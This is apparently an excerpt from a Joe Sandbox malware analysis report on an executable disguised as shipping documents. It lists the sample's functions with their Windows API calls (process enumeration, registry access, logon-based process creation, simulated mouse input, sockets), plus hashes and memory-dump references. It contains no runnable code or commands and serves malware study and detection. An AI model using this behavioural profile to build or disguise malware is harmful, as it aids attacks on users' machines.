                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CreateObjectStockWindow
                                                • String ID: Msctls_Progress32
                                                • API String ID: 1025951953-3636473452
                                                • Opcode ID: ba2f13fa805c6c3f09970cd481d26f22424198ccfad02fb57ebbb4731c9094bf
                                                • Instruction ID: bd28bfbd6b1ed56148f05f42a0246aada9c105ec1777d6766bad87523e835583
                                                • Opcode Fuzzy Hash: ba2f13fa805c6c3f09970cd481d26f22424198ccfad02fb57ebbb4731c9094bf
                                                • Instruction Fuzzy Hash: 97118EB1150219BFEB119FA4CC86EEB7F6DEF09798F014114BA48A61A0C6729C21DBB4
                                                Function 00D1CCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClientRect.USER32(?,?), ref: 00D1CCF6
                                                • GetWindowRect.USER32(?,?), ref: 00D1CD37
                                                • ScreenToClient.USER32(?,?), ref: 00D1CD5F
                                                • GetClientRect.USER32(?,?), ref: 00D1CE8C
                                                • GetWindowRect.USER32(?,?), ref: 00D1CEA5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Rect$Client$Window$Screen
                                                • String ID:
                                                • API String ID: 1296646539-0
                                                • Opcode ID: 8015df2304a1f1902e6d8958a9ba16c13c726c82c973e41730bb8dfe0f9f2818
                                                • Instruction ID: c1552d682a8475c63d9599761cc85da02110a1e9734c0a22e1309515ddc4822c
                                                • Opcode Fuzzy Hash: 8015df2304a1f1902e6d8958a9ba16c13c726c82c973e41730bb8dfe0f9f2818
                                                • Instruction Fuzzy Hash: 06B15E79950249EBDF10CFA8D4807EDBBB1FF08310F189569EC99DB251EB30A990CB64
                                                Function 00D61BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00D61C18
                                                • Process32FirstW.KERNEL32(00000000,?), ref: 00D61C26
                                                • __wsplitpath.LIBCMT ref: 00D61C54
                                                  • Part of subcall function 00D21DFC: __wsplitpath_helper.LIBCMT ref: 00D21E3C
                                                • _wcscat.LIBCMT ref: 00D61C69
                                                • Process32NextW.KERNEL32(00000000,?), ref: 00D61CDF
                                                • CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00D61CF1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
                                                • String ID:
                                                • API String ID: 1380811348-0
                                                • Opcode ID: 2e64d837ac1cfb0a86c8444688ca07adbd049d0c327e1ca72e15e3aaec747c71
                                                • Instruction ID: 9e34069a65f73bc5bf85e805f33bf667852c2d4166b13dc077a0e0a72a05d19d
                                                • Opcode Fuzzy Hash: 2e64d837ac1cfb0a86c8444688ca07adbd049d0c327e1ca72e15e3aaec747c71
                                                • Instruction Fuzzy Hash: 60514DB5504300AFD720EF64D885FABB7E8EF88754F04491EF58997291EB709904CBB2
                                                Function 00D62FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D63C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D62BB5,?,?), ref: 00D63C1D
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D630AF
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D630EF
                                                • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00D63112
                                                • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00D6313B
                                                • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00D6317E
                                                • RegCloseKey.ADVAPI32(00000000), ref: 00D6318B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                • String ID:
                                                • API String ID: 3451389628-0
                                                • Opcode ID: acfd99902f3d12d0a407026e3bc755a0965d79f3550f19e3c5e3bf28b3a80a12
                                                • Instruction ID: c65e975f3acd104744330d7564bb8f65623da490c6ee1711c550d6cbbe44041b
                                                • Opcode Fuzzy Hash: acfd99902f3d12d0a407026e3bc755a0965d79f3550f19e3c5e3bf28b3a80a12
                                                • Instruction Fuzzy Hash: 4D512671118300AFC704EF64C895E6ABBE9FF89310F04491DF599972A1DB71EA09CB72
                                                Function 00D684DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenu.USER32(?), ref: 00D68540
                                                • GetMenuItemCount.USER32(00000000), ref: 00D68577
                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00D6859F
                                                • GetMenuItemID.USER32(?,?), ref: 00D6860E
                                                • GetSubMenu.USER32(?,?), ref: 00D6861C
                                                • PostMessageW.USER32(?,00000111,?,00000000), ref: 00D6866D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountMessagePostString
                                                • String ID:
                                                • API String ID: 650687236-0
                                                • Opcode ID: 74a3292edb749865e6a442615b568a351e18f0af2464a42ea2a55175ad232203
                                                • Instruction ID: 3e205f848accac3256b3792ef65e61d2c64576fe770dcffc1fef2ccb5a3cf378
                                                • Opcode Fuzzy Hash: 74a3292edb749865e6a442615b568a351e18f0af2464a42ea2a55175ad232203
                                                • Instruction Fuzzy Hash: 5F51A071A00218AFCF11EFA4C845AAEB7F5EF48310F144559E906B7391DF70AE419BB1
                                                Function 00D44AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D44B10
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D44B5B
                                                • IsMenu.USER32(00000000), ref: 00D44B7B
                                                • CreatePopupMenu.USER32 ref: 00D44BAF
                                                • GetMenuItemCount.USER32(000000FF), ref: 00D44C0D
                                                • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00D44C3E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                • String ID:
                                                • API String ID: 3311875123-0
                                                • Opcode ID: e41cb575f897aebf90441b865dd7f847b26b1cfa9157141710f6ab492f2b76e3
                                                • Instruction ID: 20109a4e68efb25cd0d97bbd291d92b6f23c3c2f0008c7cbf72de04e5225aa29
                                                • Opcode Fuzzy Hash: e41cb575f897aebf90441b865dd7f847b26b1cfa9157141710f6ab492f2b76e3
                                                • Instruction Fuzzy Hash: 7551AD70601319EBDF20CF68D888BAEBBF5EF45318F184159E4659A291D770D984CB71
                                                Function 00D58DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,00D9DC00), ref: 00D58E7C
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58E89
                                                • __WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 00D58EAD
                                                • #16.WSOCK32(?,?,00000000,00000000), ref: 00D58EC5
                                                • _strlen.LIBCMT ref: 00D58EF7
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00D58F6A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorLast$_strlenselect
                                                • String ID:
                                                • API String ID: 2217125717-0
                                                • Opcode ID: d512e3fe21f9d82356682968bd392799c79f6eca538aa18b20579762948ca711
                                                • Instruction ID: 2d241d7cc5bf27b04816f1cb0fad4daf90c1ef88f9dd1dafb1ffbea6bf61c6c3
                                                • Opcode Fuzzy Hash: d512e3fe21f9d82356682968bd392799c79f6eca538aa18b20579762948ca711
                                                • Instruction Fuzzy Hash: 02418E71500204ABCB14EBA4CD86EAEB7BAEF58311F104659F91AA72D1DF30EE44CB70
                                                Function 00D1ABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • BeginPaint.USER32(?,?,?), ref: 00D1AC2A
                                                • GetWindowRect.USER32(?,?), ref: 00D1AC8E
                                                • ScreenToClient.USER32(?,?), ref: 00D1ACAB
                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D1ACBC
                                                • EndPaint.USER32(?,?,?,?,?), ref: 00D1AD06
                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00D7E673
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
                                                • String ID:
                                                • API String ID: 2592858361-0
                                                • Opcode ID: ca766211f6a00d825beb6aded5abf3399b3ff70079469c592cae433bd7c1abcf
                                                • Instruction ID: 2946080f2a74122007af9b6c0ea66f66f699120bdbf2cd08ca574c71e580ce88
                                                • Opcode Fuzzy Hash: ca766211f6a00d825beb6aded5abf3399b3ff70079469c592cae433bd7c1abcf
                                                • Instruction Fuzzy Hash: 4D41B374105305AFC710DF28EC84FAA7BA9EF5A320F080659F994C72E2D7309885DB72
                                                Function 00D6E397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(00DC1628,00000000,00DC1628,00000000,00000000,00DC1628,?,00D7DC5D,00000000,?,00000000,00000000,00000000,?,00D7DAD1,00000004), ref: 00D6E40B
                                                • EnableWindow.USER32(00000000,00000000), ref: 00D6E42F
                                                • ShowWindow.USER32(00DC1628,00000000), ref: 00D6E48F
                                                • ShowWindow.USER32(00000000,00000004), ref: 00D6E4A1
                                                • EnableWindow.USER32(00000000,00000001), ref: 00D6E4C5
                                                • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00D6E4E8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Show$Enable$MessageSend
                                                • String ID:
                                                • API String ID: 642888154-0
                                                • Opcode ID: cbb2afcf3533b2bdbe158cc7d1fd69dd91d00979db3628aa2e758e4b25e43e3f
                                                • Instruction ID: 88e105d63fc2cea7c37b94e49176ec8c7a3a7080555f161185377c3f22c1e6cf
                                                • Opcode Fuzzy Hash: cbb2afcf3533b2bdbe158cc7d1fd69dd91d00979db3628aa2e758e4b25e43e3f
                                                • Instruction Fuzzy Hash: 05413D38601145EFDB26CF24C499B947BE1BF09704F5C81A9EA598F2E2CB31E845DB61
                                                Function 00D498BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 00D498D1
                                                  • Part of subcall function 00D1F4EA: std::exception::exception.LIBCMT ref: 00D1F51E
                                                  • Part of subcall function 00D1F4EA: __CxxThrowException@8.LIBCMT ref: 00D1F533
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00D49908
                                                • EnterCriticalSection.KERNEL32(?), ref: 00D49924
                                                • LeaveCriticalSection.KERNEL32(?), ref: 00D4999E
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00D499B3
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00D499D2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 2537439066-0
                                                • Opcode ID: a0ab6c4886dc4f20b1f1154ff6e49aeed1762cd67b63d86a89034c66454149f2
                                                • Instruction ID: 47c5db55da55f6d7481d93e5c1bca3e027f2ab1fc05ce8cd332554b8941237c1
                                                • Opcode Fuzzy Hash: a0ab6c4886dc4f20b1f1154ff6e49aeed1762cd67b63d86a89034c66454149f2
                                                • Instruction Fuzzy Hash: 36315031A00205EBDB10AF95DC85EAFBB79FF44310B1480A9F904EB296DB74DA51DBB4
                                                Function 00D59B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(?,?,?,?,?,?,00D577F4,?,?,00000000,00000001), ref: 00D59B53
                                                  • Part of subcall function 00D56544: GetWindowRect.USER32(?,?), ref: 00D56557
                                                • GetDesktopWindow.USER32 ref: 00D59B7D
                                                • GetWindowRect.USER32(00000000), ref: 00D59B84
                                                • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00D59BB6
                                                  • Part of subcall function 00D47A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D47AD0
                                                • GetCursorPos.USER32(?), ref: 00D59BE2
                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00D59C44
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                • String ID:
                                                • API String ID: 4137160315-0
                                                • Opcode ID: 31a18bac4d3da1100affd24989a1b10af965b6dccf8bf815e5f876a4f53a681a
                                                • Instruction ID: 1819c422d68d6078300bd26c36290123bd08e55bc343229b5030221313e0e415
                                                • Opcode Fuzzy Hash: 31a18bac4d3da1100affd24989a1b10af965b6dccf8bf815e5f876a4f53a681a
                                                • Instruction Fuzzy Hash: 8B31C072104309ABDB10DF14D849F9BB7EAFF89314F04091AF989D72C1D631E908CBA2
                                                Function 00D3AF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00D3AFAE
                                                • OpenProcessToken.ADVAPI32(00000000), ref: 00D3AFB5
                                                • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00D3AFC4
                                                • CloseHandle.KERNEL32(00000004), ref: 00D3AFCF
                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D3AFFE
                                                • DestroyEnvironmentBlock.USERENV(00000000), ref: 00D3B012
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                • String ID:
                                                • API String ID: 1413079979-0
                                                • Opcode ID: 59f642ac568ca10aec7b6deff4599185406bdfff37e3b03eefc41b27098d02b6
                                                • Instruction ID: 29e8b455451c321e054f6ce73fec46e35020c40b4120c406ffd6d98e80ee779b
                                                • Opcode Fuzzy Hash: 59f642ac568ca10aec7b6deff4599185406bdfff37e3b03eefc41b27098d02b6
                                                • Instruction Fuzzy Hash: 01215E72200309AFDF029F98DD09FAE7BAAEF44304F144015FA41A61A1C376DD21EB71
                                                Function 00D6EBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00D1AFE3
                                                  • Part of subcall function 00D1AF83: SelectObject.GDI32(?,00000000), ref: 00D1AFF2
                                                  • Part of subcall function 00D1AF83: BeginPath.GDI32(?), ref: 00D1B009
                                                  • Part of subcall function 00D1AF83: SelectObject.GDI32(?,00000000), ref: 00D1B033
                                                • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00D6EC20
                                                • LineTo.GDI32(00000000,00000003,?), ref: 00D6EC34
                                                • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D6EC42
                                                • LineTo.GDI32(00000000,00000000,?), ref: 00D6EC52
                                                • EndPath.GDI32(00000000), ref: 00D6EC62
                                                • StrokePath.GDI32(00000000), ref: 00D6EC72
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                • String ID:
                                                • API String ID: 43455801-0
                                                • Opcode ID: 65c86d552d1458999cb4790a2edbc9215b357d319bbadb884ef0e23d88b7b12c
                                                • Instruction ID: 24a7cce416609e8014357c940b0280525ff3f7789f951e8faea69a8a04e103ab
                                                • Opcode Fuzzy Hash: 65c86d552d1458999cb4790a2edbc9215b357d319bbadb884ef0e23d88b7b12c
                                                • Instruction Fuzzy Hash: 8B110976040259BFEF029F90DC88EEA7F6EEF08350F048112FA08992A1D7719D55DBB0
                                                Function 00D3E19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 00D3E1C0
                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 00D3E1D1
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D3E1D8
                                                • ReleaseDC.USER32(00000000,00000000), ref: 00D3E1E0
                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 00D3E1F7
                                                • MulDiv.KERNEL32(000009EC,?,?), ref: 00D3E209
                                                  • Part of subcall function 00D39AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00D39A05,00000000,00000000,?,00D39DDB), ref: 00D3A53A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CapsDevice$ExceptionRaiseRelease
                                                • String ID:
                                                • API String ID: 603618608-0
                                                • Opcode ID: e6042f1c047137f952c0f37ea3c506f4183591cd0bfce5b735851ac4cc219298
                                                • Instruction ID: 3959bc50b52d0c61cf5dfa46c0b569679e210d3b92153cef85c57a13958a73ac
                                                • Opcode Fuzzy Hash: e6042f1c047137f952c0f37ea3c506f4183591cd0bfce5b735851ac4cc219298
                                                • Instruction Fuzzy Hash: 1D0171B5A00319BBEB109BA68C45A5ABFA9EB48351F044066EA04E73D0D6709C008B70
                                                Function 00D27B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __init_pointers.LIBCMT ref: 00D27B47
                                                  • Part of subcall function 00D2123A: __initp_misc_winsig.LIBCMT ref: 00D2125E
                                                  • Part of subcall function 00D2123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D27F51
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00D27F65
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00D27F78
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00D27F8B
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00D27F9E
                                                  • Part of subcall function 00D2123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00D27FB1
